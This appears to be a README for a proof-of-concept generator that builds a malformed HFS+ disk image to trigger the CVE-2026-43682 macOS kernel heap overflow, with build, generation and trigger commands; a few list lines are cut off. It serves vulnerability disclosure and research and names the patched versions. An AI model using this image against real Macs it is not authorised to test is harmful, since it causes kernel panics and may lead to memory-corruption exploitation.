petermalone/cve-2026-43682Proof-of-concept disk-image generator that crafts a malformed HFS+ attributes B-tree key to trigger the CVE-2026-43682 kernel heap overflow on macOS.
This proof of concept is expected to kernel-panic and reboot an affected Mac. Use it only on a disposable test system. The evidence capture used Apple silicon running macOS Tahoe 26.3 (25D125). Apple fixed CVE-2026-43682 in Tahoe 26.6, Sequoia 15.7.8, and Sonoma 14.8.8.
The PoC is a disk-image generator, not a privilege-escalation exploit. It:
_COMM_PAGE_ASB_TARGET_KERN_VALUE on Apple silicon;The malformed copy is deterministic. Whether Probabilistic GZAlloc places a guard where the overwrite immediately faults is not.
hdiutil and xattr commands.No third-party Python packages are required.
The helper is optional, but it makes the per-boot value explicit before the image is generated:
cd poc
clang -O2 -Wall -Wextra check_commpage.c -o check_commpage
./check_commpage
Create the base image and patch its attributes tree:
./create_base_dmg.sh base_with_attrs.dmg
python3 craft_attr_poc_asb.py \
base_with_attrs.dmg \
cve-2026-43682.dmg \
2884
The Python script prints the same boot's kernel Target Flag value and the pattern written into the image.
Attaching or subsequently indexing the image may be enough to reach the vulnerable attributes path. The explicit trigger used during testing was:
hdiutil attach -readonly -nobrowse cve-2026-43682.dmg
ls -l@ /Volumes/AttrPOC/
On a vulnerable system, the expected result is a kernel data abort during the oversized B-tree key copy. On a fixed system, the malformed key should be rejected without kernel-memory corruption.
After a non-crashing run, detach the test volume with:
hdiutil detach /Volumes/AttrPOC